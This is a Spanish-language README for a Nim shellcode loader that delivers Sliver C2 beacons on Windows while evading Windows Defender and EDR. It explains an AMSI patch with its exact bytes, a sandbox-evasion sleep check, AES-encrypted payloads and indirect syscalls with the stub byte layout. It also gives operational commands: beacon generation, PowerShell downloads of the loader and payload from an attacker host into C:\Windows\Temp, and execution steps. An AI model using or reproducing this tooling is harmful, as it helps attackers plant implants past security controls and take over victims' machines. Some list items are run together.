
Herramienta de cifrado basada en Nim para ofuscar shellcode y payloads con el fin de evadir Windows Defender.
Un cargador de shellcode de Sliver escrito en Nim dirigido a Windows x64. Dos variantes que cubren las dos situaciones de entrega más comunes. Probado contra Windows Defender con protección en tiempo real habilitada.
Lee un blob de shellcode cifrado del disco, lo descifra en memoria y se autoinyecta. Úsalo cuando ya tengas una primitiva de caída de archivo y quieras un binario pequeño y simple.
loader.exe <shellcode.bin> [key_hex iv_hex]
La clave y el IV son opcionales. Si se omiten, el archivo se trata como shellcode sin cifrar.
Descarga el blob cifrado desde tu C2 a través de HTTP usando la pila WinHTTP de Windows, lo descifra en memoria y se autoinyecta. Ningún archivo toca el disco. Úsalo cuando puedas ejecutar un binario en el objetivo pero no puedas dejar caer un segundo archivo de manera confiable.
Edita las constantes en la parte superior de stageless/loader.nim antes de compilar:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
El cargador stageless llama a Sleep(5000) al inicio y mide el tiempo transcurrido real con GetTickCount64. Si pasaron menos de 4500ms, el proceso sale. La mayoría de los entornos de sandbox automatizados adelantan o saltan los sleeps, causando que la verificación falle. Esto se ejecuta antes de cualquier actividad de red o ejecución de shellcode, por lo que los sandboxes que inspeccionan el comportamiento de red no ven nada.
amsi.nim parchea AmsiScanBuffer en tiempo de ejecución usando dos capas de ofuscación:
Ocultación de cadenas mediante hashing FNV-1a. La cadena AmsiScanBuffer nunca aparece en el binario. En su lugar, su hash FNV-1a se calcula en tiempo de compilación y se almacena como una constante. En tiempo de ejecución, el cargador recorre la tabla de exportaciones de amsi.dll, aplica hash a cada nombre de exportación y lo compara con el valor almacenado para encontrar la dirección de la función sin tener nunca la cadena en memoria.
Ofuscación XOR en tiempo de compilación. Tanto el nombre de la DLL (amsi.dll) como los bytes del parche (xor eax, eax; ret = 31 C0 C3) se codifican con XOR en tiempo de compilación usando una clave aleatoria generada de nuevo en cada compilación mediante un subproceso de Python. La clave se incrusta como una constante y los bytes se decodifican en tiempo de ejecución justo antes de su uso. Los bytes sin procesar cambian en cada compilación, rompiendo las firmas estáticas en la secuencia del parche.
El parche sobrescribe los primeros tres bytes de AmsiScanBuffer con xor eax, eax; ret, haciendo que cada llamada devuelva AMSI_RESULT_CLEAN independientemente de la entrada.
encrypt.py cifra shellcode sin procesar con AES-256-CBC usando una clave de 32 bytes generada aleatoriamente y un IV de 16 bytes. El cargador descifra en su lugar usando la API BCrypt de Windows, por lo que no se necesita ninguna biblioteca criptográfica de terceros en el objetivo.
La memoria se asigna como PAGE_READWRITE, se escribe el shellcode en ella, y luego la región se cambia a PAGE_EXECUTE_READ antes de la ejecución. Asignar directamente como PAGE_EXECUTE_READWRITE es una firma bien conocida que Defender y los EDR marcan explícitamente. Separar las fases de escritura y ejecución evita ese patrón.
stageless/syscalls.nim evita tanto la capa de la API Win32 (kernel32.dll) como cualquier hook de espacio de usuario en ntdll.dll colocado por los EDR.
Resolución de SSN. Al inicio, el cargador obtiene la dirección base de ntdll y analiza su tabla de exportaciones PE, recopilando cada exportación Nt* ordenada por RVA. Para cada función NT que necesitamos, verifica los primeros cuatro bytes:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) significa que el stub está limpio y el SSN se lee directamente de los bytes 4-5. Esto es Hell's Gate.neighbor_SSN +/- distance. Los SSN se incrementan en uno por stub en orden de dirección. Esto es Halo's Gate.Ubicación del gadget. El cargador escanea el primer stub Nt* limpio que encuentra en busca de la secuencia de bytes 0F 05 C3 (syscall; ret). Esto da una dirección dentro de la sección .text respaldada por imagen de ntdll que podemos reutilizar.
Generación de stub. Para cada función requerida, se escribe un stub de 22 bytes en una sola página RW que se cambia a RX antes de su uso:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
El jmp [rip+0] desreferencia los 8 bytes inmediatamente siguientes (la dirección del gadget) y redirige la ejecución a la secuencia existente syscall; ret de ntdll. La instrucción syscall se dispara desde .text de ntdll en lugar de desde nuestra asignación anónima, derrotando cualquier seguimiento a nivel de kernel de qué región de memoria emitió la syscall.
Las cuatro funciones cubiertas por las llamadas al sistema indirectas son NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx y NtWaitForSingleObject.
Después del descifrado, el cargador stageless asigna una región RW en su propio proceso mediante NtAllocateVirtualMemory, copia el shellcode con copyMem, cambia la región a RX mediante NtProtectVirtualMemory y genera un hilo mediante NtCreateThreadEx. El hilo principal luego se bloquea indefinidamente en NtWaitForSingleObject, manteniendo el proceso vivo mientras se ejecutan las gorutinas del beacon. Las cuatro llamadas pasan por los stubs de llamadas al sistema indirectas descritos anteriormente.
La autoinyección mantiene la superficie de llamadas mínima. No hay llamadas a la API entre procesos (WriteProcessMemory, CreateRemoteThread, etc.), que son los principales vectores de detección para la inyección remota clásica.
AmsiScanBuffer mediante FNV-1a, sobrescribir con xor eax, eax; retsyscall; ret, escribir stubsNtAllocateVirtualMemory en el propio proceso (RW) mediante syscall indirectaNtProtectVirtualMemory a PAGE_EXECUTE_READ mediante syscall indirectaNtCreateThreadEx mediante syscall indirectaNtWaitForSingleObject en el manejador del hilo mediante syscall indirectaVirtualAlloc (RW), copiar shellcode, VirtualProtect a RXEn tu máquina de compilación Linux:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
Edita stageless/loader.nim y establece c2Host, c2Port, c2Path, scKey, scIV, luego desde la raíz del proyecto:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Compila siempre desde la raíz del proyecto para que solo se cargue el nim.cfg raíz. La salida es un PE de Windows x64 enlazado estáticamente sin dependencias de DLL externas más allá de las bibliotecas estándar del sistema.
Stageless: sirve el blob cifrado a través de HTTP en el puerto que coincida con c2Port:
cd bins && python3 -m http.server 443
Stager: transfiere ambos archivos al objetivo:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager con cifrado:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager sin cifrado:
loader.exe shellcode.bin
Si se entrega mediante un cradle de descarga de PowerShell, AMSI escaneará el script antes de que se ejecute el cargador. Parchea AMSI en tu sesión de PS primero:
python3 gen_amsi.py
Pega la salida en la sesión de PS antes de descargar o ejecutar cualquier cosa. El script resuelve AmsiScanBuffer mediante el hash de la tabla de exportaciones, por lo que la cadena nunca aparece en texto plano, y todos los bytes del parche están codificados con XOR con una clave aleatoria por ejecución.
BCryptSetProperty para el modo de encadenamiento devuelve STATUS_INVALID_PARAMETER pero BCrypt por defecto usa CBC de todas formas, el descifrado funciona correctamentesyscall en los stubs se dispara desde dentro de la sección .text de ntdll (respaldada por imagen, firmada por Microsoft), no desde la página del stub, derrotando el seguimiento del origen de la syscall a nivel de kernelPuedes encontrar más detalles sobre Mecanismos de Defender, Técnicas y otras herramientas en mi blog